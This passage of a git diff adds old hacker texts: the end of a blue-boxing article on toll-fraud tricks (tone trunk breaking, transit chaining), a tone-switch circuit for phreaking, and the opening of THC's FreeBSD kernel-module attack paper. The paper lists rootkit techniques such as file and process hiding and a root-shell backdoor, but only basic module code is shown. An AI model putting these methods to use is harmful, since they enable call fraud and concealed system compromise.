dialing, phreaking, pushing + all the buttons at the scope (and only you know what they are good for) and + watching the great waves appearing on the screen when getting a connect ... +- Hmmm..and, besides, an oscilloscope is EXTREMLY useful to find out every- + thing that has to do with waveform, amplitude and delay of the signal sent + in the line, and, more important, coming out of it. E.g., you can search a + number, kill the exchange, sending a signal which will give you an echo and + start analysing the behavior of the switch. + +The last point about hardware: A device that can send a variable (coloured) +noise into the line. A very simple noise generator is an old radio. Just put +it on AM and search an area with a good, strong noise. By turning the knob in +any direction, the sound of the noise should change a little bit. To find the +best position, set your dialer to a 60s Cl.Fwd. and mix it with the noise ob- +tained by the reciever. Believe it or not, it works ! +BTW : Yes, I know, the Scavenger dialer has this feature, too. But the noise + routine seems to be a little buggy...besides, it`s much easier to use + a little hardware, because you can find out the correct setting very + fast just by turning a knob is any direction. The only thing you`ve got + to do is to connect the speaker of the radio (or, in other words, the + two wires leading to the speaker) with the phone line using direct + connection or transformator. A 50K resistor prevents the noise from get- + ting too loud. Just play a little bit for optimal results. + + + + + + + +6.) Problems with Transit/Routings + +some years ago, finding out a routing or using transit was no problem (I say +this not out of my own experience; I`m not doing BB as long that I can con- +firm this....but I was told so). +Now, things have changed a little bit. The old standard of using -CC-DD +is working only to some boring countries with boring lines. The "good" coun- +tries (like HK/USA etc.) are extremely well protected now. But in spite of +that, you can still get a success if you have a free afternoon and some luck. +For exemple, the toll free lines of some countries can sometimes be called +from an international exchange. To give you an exemple: + + a) you call the HCD of a country that has disabled + b) you break it + c) after breaking, you call the Op. of another country (e.g.: A02-800-XXX) + d) you wait for the "chick" and break the line country --> next country + e) perhaps this country you are in now has open .... + +The disadvantage of this is that you MUST set your trunk very exactly. If your +break for the 2nd country is in tolerance of the switch of the 1st country, +your line kicks off...hahaha....try it again. +Perhaps, you find a country that is breakable with 2400 and 2600 Hz, sent +seperately. On HawaII, you will remark that you can send the tones seperately. +If you`ve found a Transit or a Route, you can try to find a gate in the +following way [just for exemple !!!]: + a) You can do transit via XXXXXX to russia + b) You want to call YYYYYY + c) Just dial 7-00-YYY-nuMbA + +The success of this method depends on the "transit power" of the country you +can do transit to. Perhaps you can try it out by calling directly. + +Another way of calling is to change the exchange you are in by sending a +loooong signalling tone....the more experienced phreaks will know what I mean +when talking about this..... This method only works on quite old switches. + + + + + + +7.) How 2 get Routing Codes + +At the beginnig of this article, I wanted to tell you how to find out which +country offers which routes to kall out. With this method it`s not often +possible to get the routes directly, but you will know whether it`s senseful +to start scanning around. +But now I decided not to tell you that possibility, because it wont work any- +more if too many people use it. BTW, forget the old trick with -2F- +The operators are still incredibly stupid, but they won`t give out their +Operator routes to someone who says: "....Hi, lines are busy,...please gimme +your routing for calling Canada...". + + + + + + + +Okay, thats it....I think that you knowed most of the things I told, but per- +haps you found a little hint that may be useful for you. Have a nice life ! + + + + Greetz, + Dr. Fraud + + + + + + + + + + + + + +P.S.: This article didn`t grow out of my free volunteer.... + I was forced to write it....hahaa... ...and remember: J.F.K. is dead ! + + \ No newline at end of file diff --git a/Papers/bb-plan.gif b/Papers/bb-plan.gif new file mode 100644 index 0000000..f67c08b Binary files /dev/null and b/Papers/bb-plan.gif differ diff --git a/Papers/bb-plan.txt b/Papers/bb-plan.txt new file mode 100644 index 0000000..58a10d8 --- /dev/null +++ b/Papers/bb-plan.txt @@ -0,0 +1,103 @@ + + A SELECTIVE SWITCH FOR GETTING MORE COMFORTABLE SCANNING + written by Dr. Fraud + + HI PHREAKS, + + In thiz short article, I will show you an easy possibility to get a more com- + fortable way to make BB-calls and scannings. Most of you use one of the fol- + lowing ways to call: + + 1.) U pick up the handset of the phone; you get a dialtone. Then, you dial + the number you wish to call. If BOXING fails, you hang up and try it + again... + 2.) U send a "HIGH" to yout LPT port. This causes a little circuit to open + the line. You get a dial tone...and you dial.... + + Of course, both of these methods are pretty nice...but here`s a better way to + get control over your line status: + Its possible to control the line with a little switch that always "listens" + to your soundcard`s output; if that switch recieves a tone of a certain fre- + quency (and you can tell the circuit what frequency this should be), it pro- + duces a "HIGH". This can be used to open/close a relais. + + NOTE: There's a blueprint picturefile with this article, called BB-PLAN.GIF ! + + + Question: Why do I need that circuit ? + Answer : Simple. Cause it`s comfortable and easy to use. Okay... before I + tell you more of that question/answer rubbish, you should take a + look on that phunny plan in that tiny GIF-picture. (BB-PLAN.GIF) + First, here are the materials you need to build up the switch: + + C1= 2,2 uF + C2= 47 nF + C3= 100 nF + C4= 10 nF + P = 20 K + D = common diod, as e.g. 1N 914 + IC= 567 (LM 567, NE 567 etc.) ...costs `bout 1$/piece... + + You can build this thing any way you want... there are no critical values + you must pay attention for. Here are some electrical data: + + - supply range: 4,75V to 9V + - supply current typ: 7 mA + - Input resistance: 20K + - smallest detectable input: 20mV (!) + - highest centre frequency: 500 KHz (!) + + As you can see, the electrical data allow an universal use of that switch. + The resonance-frequency is defined as follows: Fo=1/(P*C4) + The band-width is the following: B= sqr(Ue/Fo*C4) ! NOTE: Depends on Ue ! + It`s adjustable from 1% up to more than 10%. This means, that, if you adjust + it to 1%, a 1000 Hz tone will only be recognized from 990 Hz up to 1010 Hz. + If you use 10%, you will be able to send 900 Hz up to 1100 Hz to get a + response from the switch. + + Question: How Do I use that phunny switch ? + Answer : Simple. Just connect it via a relais (ca. 5V) to your phone line. + The output voltage (pin 4+8) should be used to control the "prima- + ry" side. + Question: And then ? + Answer : Then you only have to move the trimmer until the relays "clicks" + when you send the frequency you want. Some dialers (e.g., the + latest SCAVENGER dialer) support that. If you wanna get off-hook + and on-hook again in an easy way, just connect that device to your + soundcard/phone line (Ue) and you will have a great utility to get + a phree line within about 2 seconds just by pressing a stupid little + key. The relais will stay open as long as that tone is recieved. + + + Note for practical use: If you decide to use that system, you should pay at- + tention to the following advices: + + 1.) The value of P depends on the frequency you wanna use. It`s useful to use + (haha...nice english) a frequency that is above the "normal" signalling + frequency (e.g. 3900 Hz.) + 2.) Depending on that value, the value of the poti can vary... just look for + a good frequency, get the correct value and use the correct resistor for + the poti. Sometimes, it`s more than 20K. + 3.) Avoid interferences. If you don`t, (e.g. you send a 3000/3001 Hz signal), + the behavior of the switch will get unstable. In fact, this can be also + quite useful (Analyst, u know...), but normally, it`s senseless. + 4.) Block your output. Sometimes, you connect your soundcard`s output with + any devices without checking whether they are potential-free. This means, + that if you connect your soundcard to the phone-line _and_ to that switch, + you may get a problem `cause your signal is not potential-free. Avoid that + while using a simple transformator. It costs about 2$ and really prevents + your computer from getting unexpected noise/voltage/damage. + +Okay... if you still don`t know the use of my tiny switch, then you are: + + 1.) stupid + 2.) lame + 4.) stupid & lame + +Hmm...check it out... if you`ve got any problems, just contact me at L.O.R.E. +BBS at any time ! + +Greetz, + Dr. Fraud + + \ No newline at end of file diff --git a/Papers/bsdkern.html b/Papers/bsdkern.html new file mode 100644 index 0000000..8ec605e --- /dev/null +++ b/Papers/bsdkern.html @@ -0,0 +1,4486 @@ + +- Attacking FreeBSD with Kernel Modules - + +
    +

    + - Attacking FreeBSD with Kernel Modules - +

    + + +

    + The System Call Approach +

    + +
    +

    +

    +written by pragmatic / THC, version 1.0
    +released 06/1999
    +

    + + + +

    + +

    +

    + CONTENTS +

    +
    + + + + + Introduction
    +

    + +I.Basics
    +
    +1. FreeBSD 'Modules' - 'Hello World' Syscall Example
    +2. Link Files and Modules - the difference
    +2.1 A two in one example
    +3. Diary of a module load process from the kernel +perspective
    +4. Other kinds of modules
    +5. MISC modules with the KLD scheme
    +6. System calls on FreeBSD
    + 6.1 Important system calls for hacking
    +7. Important Kernel structures / lists
    + 7.1 TheSeeker - or how to access kernel lists
    +8. From User to kernel space and back
    +9. Last Words
    +

    +

    + +II. Attacking with kernel code
    +
    +1. How to intercept Syscalls
    +2. Filesystem related hacks
    +2.1 How to hide files
    +2.2 How to hide the file contents
    +2.3 And the rest ?
    +3. Process related hacks
    +3.1 How to hide any process
    +3.2 backdoor 'rootshell'
    +4. file execution redirection
    +5. TTY hijacking
    +6. Hiding the module
    +7. Last words
    +

    +

    + +III. Securing the kernel
    +
    +1. How to detect sysent[] modifications
    +2. How to restore old system calls
    +3. General ideas for using MD5 Hashes
    +4. How to see a hidden process
    +

    +

    + +IV. Last things to mention
    +
    +1. What about OpenBSD and NetBSD
    +2. Links
    +3. Greetings
    + + +

    +

    Introduction

    +

    +FreeBSD is an often used server operating system. Lots of ISPs, universities +and some firms are using it. After releasing my Linux LKM text van Hauser asked +my to take a look at the FreeBSD kernel, so here we go.
    +This text will show you that most Linux LKMs can be ported to BSD systems +(FreeBSD). On FreeBSD we can even do some things that were harder to +implement on Linux systems. This text only deals with ways to +backdoor/intercept system calls. I had a little conversation with Solar +Designer who tought me that there are lots of other ways to attack the FreeBSD +kernel, but this will come in a further release.
    +For those people new to BSD and module techniques I really suggest reading my +'(nearly) Complete Linux Loadable Kernel Module' article +(http://www.thc.org). Of course this FreeBSD text has a basic section, but +the basic part of the Linux text is much more comprehensive and easier to +understand. The Linux text will give you the basic ideas for understanding +most stuff I mention here. People who already did some kernel coding under +FreeBSD, who can read and understand kernel code and those who did some LKM +hacking on Linux boxes can read on without any problems. Bear in mind that the +main aim of this text is to show some new ideas to attack/backdoor FreeBSD +systems, and not to teach you FreeBSD kernel coding. So I made it as short and +complete as I can. I developed all modules on a FreeBSD 3.1 system (x86). I +used the new KLD scheme - introduced by FreeBSD 3.0 - to insert kernel code. +Older FreeBSD systems which work with LKMs (/dev/lkm) can also be used, but +there must be some modifications to the code in order to make them work. The +general ideas in this text should also work on OpenBSD and NetBSD. For kernel +gurus : Don't blame me for the bad coding style I used in this paper +sometimes, but very compact code is harder to understand,to read and even +harder to explain. And please remember : This text is for educational purpose +only !
    + Note : I only know of one text dealing with the problems and solutions +I describe here. That older text written by halflife (see Phrack Magazine +Volume 7, Issue 51 September 01, 1997, article 09) showed how to hide LKMs +under FreeBSD 2.2 systems and how to hide certain files from directory +listings (the goal was to avoid integrity checks). Due to the fact that you +can do much more stuff with modules and that FreeBSD changed a lot (LKMs are +gone...) I wrote this text. + +

    +

    I. Basics

    +

    +This section will give you a very brief and easy (so partly incomplete) but +working overview of the FreeBSD way to insert code via modules.
    +The problem concerning FreeBSD is the lack of documentation. There is only a +very small and elite group of programmers working on the kernel. At the time +of writing (May '99) I was not able to find any +good documentation helping us to dive deep into the kernel. So we have to go +the hardest but best way : reading source code. Because of this there may be +some minor errors in some explainations I give you, but every piece of code is +working and the general view should be correct ;)!
    +

    +

    1. FreeBSD 'Modules' - 'Hello World' Syscall Example

    +

    +Before starting to explain I will present you a module example which installs +a system call that will print a simple message on the screen. I also included +the user space part. You may know this example, I took it from the FreeBSD +distribution (I only added some comments). + +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> + + +/*this is the function which represents our system call*/ +static int +hello (struct proc *p, void *arg) +{ + printf ("hello kernel\n"); + return 0; +} + +/*on FreeBSD every system call is described by a sysent structure, which holds +the corresponding system call function (here hello) and the appropriate count +of arguments (here 0)*/ + +static struct sysent hello_sysent = { + 0, /* sy_narg */ + hello /* sy_call */ +}; + + +/*every system call has a certain number (called slot or offset on BSD). This +number represents the index in the global sysent list holding every syscall. +BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL) +which is used here.*/ + +static int offset = NO_SYSCALL; + +/*this function can be compared to the init_module & cleanup_module functions +on Linux. The differentiation is done via the cmd variable.*/ + +static int +load (struct module *module, int cmd, void *arg) +{ + int error = 0; + + /*what do we have?*/ + switch (cmd) { + /*we have a load*/ + case MOD_LOAD : + printf ("syscall loaded at %d\n", offset); + break; + /*we have an unload*/ + case MOD_UNLOAD : + printf ("syscall unloaded from %d\n", offset); + break; + default : + error = EINVAL; + break; + } + return error; +} + +/*This is the most tricky part of this module. That macro will install the +module and calls the required functions. We will take a deeper look at this +later.*/ +SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL); + + +Compiling this module is very easy on FreeBSD. We just use an universal +Makefile which is very easy because of the nice MK files used by FreeBSD (BSD). +Here we go : + +SRCS = helloworld.c +KMOD = helloworld +KO = ${KMOD}.ko +KLDMOD = t + + +.include <bsd.kmod.mk> + +Aren't those MK file a good idea :). So after comiling you get a file called +helloworld.ko. This file is in ELF format (so no pure object file).
    +Take a look at the FreeBSD user space example calling this system call. + +#include <stdio.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/module.h> + +int +main(int argc, char **argv) +{ + char *endptr; + int syscall_num; + struct module_stat stat; + + stat.version = sizeof(stat); + /*modstat will retrieve the module_stat structure for our module named + syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/ + modstat(modfind("syscall"), &stat); + /*extract the slot (syscall) number*/ + syscall_num = stat.data.intval; + /*and call it without any arguments (because we didn't include support for + arguments*/ + return syscall (syscall_num); +} + +You can compile this the following way (it's too easy to waste time with a +Makefile) : + +# gcc -o call call.c + +Now you have a working module which will install a system call you can +call from user space with this little call program. +You can load the module with + +# kldload ./helloworld.ko + +and unload with + +# kldunlod helloworld + +with + +# kldstat + +you will get a list of loaded link files (NOT modules). +Before reading on, you should understand the global scheme used in the sources +I presented here. + +

    +

    2. Link Files and Modules - the difference

    +

    + +There is a big difference between the output presented by kldstat and the +loaded modules. A module on FreeBSD means some part of the kernel, an exec +driver, a system call module, a device driver... The kernel itself contains +some modules (FS support for example). A link file on the other hand is +something like a wrapper which can hold lots of modules. So our helloworld +example from above is one module wrapped in the link file helloworld.ko.
    +So in general words : A module is just a bit of structured kernel code that +represents a certain driver (exec format, device, for example) or whatever. A +link file is just a file holding one or more modules which will be inserted +into the kernel.
    +For those who want to know it exactly; here is the definition by Doug Rabson : +

    +Kernel Linker +The kernel linker simply dynamically loads code into the kernel. A +symbol table is included in the kernel by ld(1) in the same way as +for dynamically linked user programs. As files are loaded, the code +is relocated and any unresolved symbols are matched against the +kernel's symbol table. Files can also include a list of dependencies +to allow code which is common to several files to be loaded +automatically. The kernel can load files without help from a user +program (in contrast to the older LKM system) and the kernel +bootstrap can also pre-load files, allowing devices which needed +before the root disk is available to be dynamically loaded instead of +statically linked into the kernel. +As code is loaded, any SYSINITs which it contains are +run. This makes it possible to write code which is identical whether +it is statically or dynamically loaded. When a file is unloaded, a +similar list of functions defined by SYSUNINIT is run. +<p> +Modules +Layered on top of the kernel linker is the module system. It uses +a SYSINIT to implement a simple event system for code which +is loaded. The idea is that a piece of code defines a module (using +DECLARE_MODULE) and supplies a handler routine. The handler +is called at load, unload and shutdown to allow the module to +initialise itself. Various kernel subsystems provide generic handler +functions for registering filesystems, devices or whatever and they +generally provide a macro which wraps DECLARE_MODULE (e.g. +VFS_SET). + +I hope you got the idea, if not read on and re-read this part until you +understand it totally. + +

    +

    2.1 A two in one example

    +

    + +This example is just a proof of concept. It shows how to pack two modules in +one file using the linker mechanics (two SYSINITs wrapped by SYSCALL_MODULE +macro). +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> + +/*this is the function our first syscall module (syscall_1) will use*/ +static int +hello_1 (struct proc *p, void *arg) +{ + printf ("hello kernel from syscall_1\n"); + return 0; +} + +/*this is the function our second syscall module (syscall_2) will use*/ +static int +hello_2 (struct proc *p, void *arg) +{ + printf ("hello kernel from syscall_2\n"); + return 0; +} + + +/*first sysent structure which describes the first system call*/ +static struct sysent hello_sysent_1 = { + 0, /* sy_narg */ + hello_1 /* sy_call */ +}; + + +/*second sysent structure which describes the second system call*/ +static struct sysent hello_sysent_2 = { + 0, /* sy_narg */ + hello_2 /* sy_call */ +}; + + +/*both system call slots (numbers) should be selected by the kernel*/ +static int offset_1 = NO_SYSCALL; +static int offset_2 = NO_SYSCALL; + +/*the two load functions*/ +static int +load_1 (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + printf ("syscall_1 loaded at %d\n", offset_1); + break; + case MOD_UNLOAD : + printf ("syscall_1 unloaded from %d\n", offset_1); + break; + default : + error = EINVAL; + break; + } + return error; +} + +static int +load_2 (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + printf ("syscall_2 loaded at %d\n", offset_2); + break; + case MOD_UNLOAD : + printf ("syscall_2 unloaded from %d\n", offset_2); + break; + default : + error = EINVAL; + break; + } + return error; +} + +/*install the first module (NAME : syscall_1)*/ +SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL); + +/*install the second module (NAME : syscall_2)*/ +SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL); + + +You can use the same Makefile for the link file above. As you can see I +duplicated every item in this file. This way I implemented two totally +independend modules packed in one link file. The name of the first module is +'syscall_1' and the second module's name is 'syscall_2'.
    +The following piece of code is the needed user space part which will find +both modules and call their system calls. + +#include <stdio.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/module.h> + + +int +main(int argc, char **argv) +{ + char *endptr; + int syscall_num; + struct module_stat stat; + + /*first module*/ + stat.version = sizeof(stat); + modstat(modfind("syscall_1"), &stat); + syscall_num = stat.data.intval; + syscall (syscall_num); + + /*second module*/ + stat.version = sizeof(stat); + modstat(modfind("syscall_2"), &stat); + syscall_num = stat.data.intval; + syscall (syscall_num); +} + +After this example you should understand the concept of packing modules in +link files. + +

    +

    3. Diary of a module load process from the kernel +perspective

    +

    +For total Beginners : I suppose those without a going C and BSD knowledge have +to 'fight' with this part but I can't loose too many words here (the text would +become far too big); so I pack everything in a short summary. This section is +only a very brief and not very deep introduction into the module / link file +handling made by the kernel, but it is enough to understand the rest of this +text.
    +The following code represents the helloworld example in a form where I +'resolved' the SYSCALL_MODULE macro. I just coded everything by hand (only the +last part [SYSCALL_MODULE macro] changed) so things become clearer: +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> + +static int +hello (struct proc *p, void *arg) +{ + printf ("hello kernel from syscall_1\n"); + return 0; +} + +static struct sysent hello_sysent = { + 0, /* sy_narg */ + hello /* sy_call */ +}; + +static int offset = NO_SYSCALL; + +static int +load (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + printf ("syscall loaded at %d\n", offset); + break; + case MOD_UNLOAD : + printf ("syscall unloaded from %d\n", offset); + break; + default : + error = EINVAL; + break; + } + return error; +} + + +/*The following lines do the same as : +-------------------------------------- +SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL); +*/ + +/*fill the X_syscall_mod structure made only for syscall modules*/ +static struct syscall_module_data syscall_syscall_mod = { + load, NULL, &offset, &hello_sysent +}; + +/*fill the module structure; the same for any module*/ +static moduledata_t syscall_mod = { + "syscall", + syscall_module_handler, /*special handler for syscall modules*/ + &syscall_syscall_mod /*speciel syscall module data*/ +}; + +/*the sysinit structure for starting / registering*/ +static struct sysinit syscall_sys_init = { + SI_SUB_DRIVERS, /*SUBSYSTEM*/ + SI_ORDER_MIDDLE, /*ORDER*/ + module_register_init, /*the same for any module, register function*/ + &syscall_mod /*module specific data*/ +}; + +/*we want hack at this layer, it just initializing some regions*/ +static void const * const +__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init; +__asm(".section .set.""sysinit_set"",\"aw\""); +__asm(".long " "syscall_sys_init"); +__asm(".previous"); + + +Now let's start from the kldload command which is implemented as a system call +in kern_linker.c. This system call first checks the securelevel (if > 0 then it +won't work) after this it will check for UID=0. Then the kernel checks +whether this link file is already loaded, if so it will abort. If everything +is ok so far, it will call linker_load_file (kern_linker.c). After some checks +this function will fill a linker_file structure and pass it to +linker_file_sysinit (kern_linker.c). This function will use the +syscall_sysinit_set structure (see example above) for initialization. That +structure is defined in kernel.h. Normally it is defined by macros +(we used the hand-made approach to see things clear). Here is the structure : + +struct sysinit { + unsigned int subsystem; /* subsystem identifier*/ + unsigned int order; /* init order within subsystem*/ + void (*func) __P((void *)); /* init function*/ + void *udata; /* multiplexer/argument */ + si_elem_t type; /* sysinit_elem_type*/ +}; + +The type field is set automatically so I did not set it by hand. The subsystem +and order codes are also defined in kernel.h. The function pointer points to a +function that is called at module startup with udata as parameter. As you can +see in the example above the module_register_init function (kern_module.c) is +called with the module data structure holding the module specific data. So our +next step must be this function.
    +This function extracts the data from the argument it gets (the module data +structure). After this the module_register function (kern_module.c) is called +with the extracted data. This function first sets some fields of the module +structure (represented by a pointer to it called module_t) which is used by the +kernel to descibe any loaded module. After setting every field the module +(represented by the now filled module structure) is added to the global +module list (called modules). For a better understanding I put the module +structure here plus a short description : + +struct module { + /*the first two entries are just for global module handling*/ + TAILQ_ENTRY(module) link; + TAILQ_ENTRY(module) flink; + /*this linker_file structure describes the link file the module comes from*/ + struct linker_file* file; + /*references to this module (reference cound)*/ + int refs; + /*id of this module*/ + int id; + /*name of this module*/ + char *name; + /*the mod handler (in our case the load function)*/ + modeventhand_t handler; + /*arguments to the mod handler*/ + void *arg; + /*some - for us not very interesting - data fields*/ + modspecific_t data; +} + +Finally the module_register function calls the modeventhand_t field of the +module structure (in our case : the syscall_module_handler) with the MOD_LOAD +command (cmd see example) argument. This function is defined in +kern_syscalls.c. On MOD_LOAD it calls syscall_register +(kern_syscalls.c) with the new sysentry and other stuff needed for installing +the system call. So let's say that syscall_register installed the system call +and returns (this stuff is not so interesting for us, we will use a more easy +way to 'hack' system calls). The last piece of code in syscall_module_handler +calls the self-defined load function (see example) with the same command field +(on startup MOD_LOAD). This way the module developer is able to do his own +stuff on LOAD and UNLOAD.
    +Now we are ready. The module is loaded and started, and the system call is +installed. Recall that this example was written for a specific module - a +SYSCALL_MODULE. There are other module types (like device drivers etc.). +Please read the Kernel sources again and again and compare them to this part. +Everything should be clear. + +

    +

    4. Other kinds of module

    +

    +As I said before the helloworld example module is a special so called +SYSCALL_MODULE that is used to install a certain system call. FreeBSD provides +other macros and module layouts for different aims. Take a look at the driver +example that is shipped with FreeBSD. I won't discuss it here, because we will +never use the standard way of coding FreeBSD forces us to.
    +The next section will show how to become independent from those standard +module layouts. + +

    +

    5. MISC modules with the KLD scheme

    +

    +When I first coded some modules on FreeBSD (on an older 2.2.x release) I was +able to use so called MISC_MODULES. Instead of providing a certain layout for +special purposes (like SYSCALL_MODULE for system calls etc.) a MISC_MODULE was +just some piece of code loaded into the kernel, and calling the 'load' function +written by me. This scheme was ideal for hacking, because I was not forced to +implement a special kind of module. I had a fast and easy way to insert any +kernel code. These days are gone on FreeBSD 3.x because the KLD scheme +provides no MISC_MODULES like the LKM one did. So my first modules (like a +hide module etc.) did the hacking part, but also installed a system call (I +used SYSCALL_MODULES). This was no good solution. So I decided to create a +general module layout which will do the same like the old MISC_MODULES on LKM +systems : just call a 'load' function and nothing else.
    +The following piece of code represents a MISC_MODULE for FreeBSD 3.x +systems using the KLD method : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> + +/*our own 'load' function*/ +static int +dummy_handler(struct module *mod, int what, void *arg) +{ + switch(what) + { + case MOD_LOAD : + printf("LOAD\n"); + break; + case MOD_UNLOAD : + printf("UNLOAD\n"); + break; + } + return 0; +} + + +/*NOTE : The following stuff 'links' our module into the kernel and calls + dummy_handler as our installation routine. I didn't use any macro + supplied by some header file for making module coding a bit easier. + But this way you will see every piece of code responsible for loading + the module. +*/ + +/*fill the module structure*/ +static moduledata_t dummy_mod = { + "dummy", + dummy_handler, /*normally you would find something like + syscall_module_handler here*/ + NULL /*normally you would find something like + syscall_module_data here (argument for the + syscall_module_handler)*/ +}; + +/*the rest is the same*/ +static struct sysinit syscall_sys_init = { + SI_SUB_DRIVERS, /*SUBSYSTEM*/ + SI_ORDER_MIDDLE, /*ORDER*/ + module_register_init, /*the same for any module*/ + &dummy_mod /*data*/ +}; + + +/*We can leave this the same, it will work without modification...*/ +static void const * const +__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init; +__asm(".section .set.""sysinit_set"",\"aw\""); +__asm(".long " "syscall_sys_init"); +__asm(".previous"); + + +Compile this module and load it. The only thing it will do is printing a string +on load and unload. I must admit that the module above is a bit too long for +everyday coding. So I use one macro defined by the system which will make the +module a bit shorter but acting the same way. Replace the last lines with + + +... + +static moduledata_t dummy_mod = { + "dummy", + dummy_handler, + NULL +}; + +DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + +Now our module is quite short and works like a MISC_MODULE on LKM systems. +Any code we want to execute on the kernel layer can be written into the +dummy_handler function. + +

    +

    6. System calls on FreeBSD

    +

    +My Linux LKM article did a quite good job in explaining the way system calls +in general work. I won't repeat those words here, so I only give you BSD +relevant and needed material.
    +The following list represents every system call that is present by startup on +a FreeBSD 3.1 system (I took this list form init_sysents.c): +

    +struct sysent sysent[] = { + { 0, (sy_call_t *)nosys }, /* 0 = syscall */ + { 1, (sy_call_t *)exit }, /* 1 = exit */ + { 0, (sy_call_t *)fork }, /* 2 = fork */ + { 3, (sy_call_t *)read }, /* 3 = read */ + { 3, (sy_call_t *)write }, /* 4 = write */ + { 3, (sy_call_t *)open }, /* 5 = open */ + { 1, (sy_call_t *)close }, /* 6 = close */ + { 4, (sy_call_t *)wait4 }, /* 7 = wait4 */ + { compat(2,creat) }, /* 8 = old creat */ + { 2, (sy_call_t *)link }, /* 9 = link */ + { 1, (sy_call_t *)unlink }, /* 10 = unlink */ + { 0, (sy_call_t *)nosys }, /* 11 = obsolete execv */ + { 1, (sy_call_t *)chdir }, /* 12 = chdir */ + { 1, (sy_call_t *)fchdir }, /* 13 = fchdir */ + { 3, (sy_call_t *)mknod }, /* 14 = mknod */ + { 2, (sy_call_t *)chmod }, /* 15 = chmod */ + { 3, (sy_call_t *)chown }, /* 16 = chown */ + { 1, (sy_call_t *)obreak }, /* 17 = break */ + { 3, (sy_call_t *)getfsstat }, /* 18 = getfsstat */ + { compat(3,lseek) }, /* 19 = old lseek */ + { 0, (sy_call_t *)getpid }, /* 20 = getpid */ + { 4, (sy_call_t *)mount }, /* 21 = mount */ + { 2, (sy_call_t *)unmount }, /* 22 = unmount */ + { 1, (sy_call_t *)setuid }, /* 23 = setuid */ + { 0, (sy_call_t *)getuid }, /* 24 = getuid */ + { 0, (sy_call_t *)geteuid }, /* 25 = geteuid */ + { 4, (sy_call_t *)ptrace }, /* 26 = ptrace */ + { 3, (sy_call_t *)recvmsg }, /* 27 = recvmsg */ + { 3, (sy_call_t *)sendmsg }, /* 28 = sendmsg */ + { 6, (sy_call_t *)recvfrom }, /* 29 = recvfrom */ + { 3, (sy_call_t *)accept }, /* 30 = accept */ + { 3, (sy_call_t *)getpeername }, /* 31 = getpeername */ + { 3, (sy_call_t *)getsockname }, /* 32 = getsockname */ + { 2, (sy_call_t *)access }, /* 33 = access */ + { 2, (sy_call_t *)chflags }, /* 34 = chflags */ + { 2, (sy_call_t *)fchflags }, /* 35 = fchflags */ + { 0, (sy_call_t *)sync }, /* 36 = sync */ + { 2, (sy_call_t *)kill }, /* 37 = kill */ + { compat(2,stat) }, /* 38 = old stat */ + { 0, (sy_call_t *)getppid }, /* 39 = getppid */ + { compat(2,lstat) }, /* 40 = old lstat */ + { 1, (sy_call_t *)dup }, /* 41 = dup */ + { 0, (sy_call_t *)pipe }, /* 42 = pipe */ + { 0, (sy_call_t *)getegid }, /* 43 = getegid */ + { 4, (sy_call_t *)profil }, /* 44 = profil */ + { 4, (sy_call_t *)ktrace }, /* 45 = ktrace */ + { 3, (sy_call_t *)sigaction }, /* 46 = sigaction */ + { 0, (sy_call_t *)getgid }, /* 47 = getgid */ + { 2, (sy_call_t *)sigprocmask }, /* 48 = sigprocmask */ + { 2, (sy_call_t *)getlogin }, /* 49 = getlogin */ + { 1, (sy_call_t *)setlogin }, /* 50 = setlogin */ + { 1, (sy_call_t *)acct }, /* 51 = acct */ + { 0, (sy_call_t *)sigpending }, /* 52 = sigpending */ + { 2, (sy_call_t *)sigaltstack }, /* 53 = sigaltstack */ + { 3, (sy_call_t *)ioctl }, /* 54 = ioctl */ + { 1, (sy_call_t *)reboot }, /* 55 = reboot */ + { 1, (sy_call_t *)revoke }, /* 56 = revoke */ + { 2, (sy_call_t *)symlink }, /* 57 = symlink */ + { 3, (sy_call_t *)readlink }, /* 58 = readlink */ + { 3, (sy_call_t *)execve }, /* 59 = execve */ + { 1, (sy_call_t *)umask }, /* 60 = umask */ + { 1, (sy_call_t *)chroot }, /* 61 = chroot */ + { compat(2,fstat) }, /* 62 = old fstat */ + { compat(4,getkerninfo) }, /* 63 = old getkerninfo */ + { compat(0,getpagesize) }, /* 64 = old getpagesize */ + { 3, (sy_call_t *)msync }, /* 65 = msync */ + { 0, (sy_call_t *)vfork }, /* 66 = vfork */ + { 0, (sy_call_t *)nosys }, /* 67 = obsolete vread */ + { 0, (sy_call_t *)nosys }, /* 68 = obsolete vwrite */ + { 1, (sy_call_t *)sbrk }, /* 69 = sbrk */ + { 1, (sy_call_t *)sstk }, /* 70 = sstk */ + { compat(6,mmap) }, /* 71 = old mmap */ + { 1, (sy_call_t *)ovadvise }, /* 72 = vadvise */ + { 2, (sy_call_t *)munmap }, /* 73 = munmap */ + { 3, (sy_call_t *)mprotect }, /* 74 = mprotect */ + { 3, (sy_call_t *)madvise }, /* 75 = madvise */ + { 0, (sy_call_t *)nosys }, /* 76 = obsolete vhangup */ + { 0, (sy_call_t *)nosys }, /* 77 = obsolete 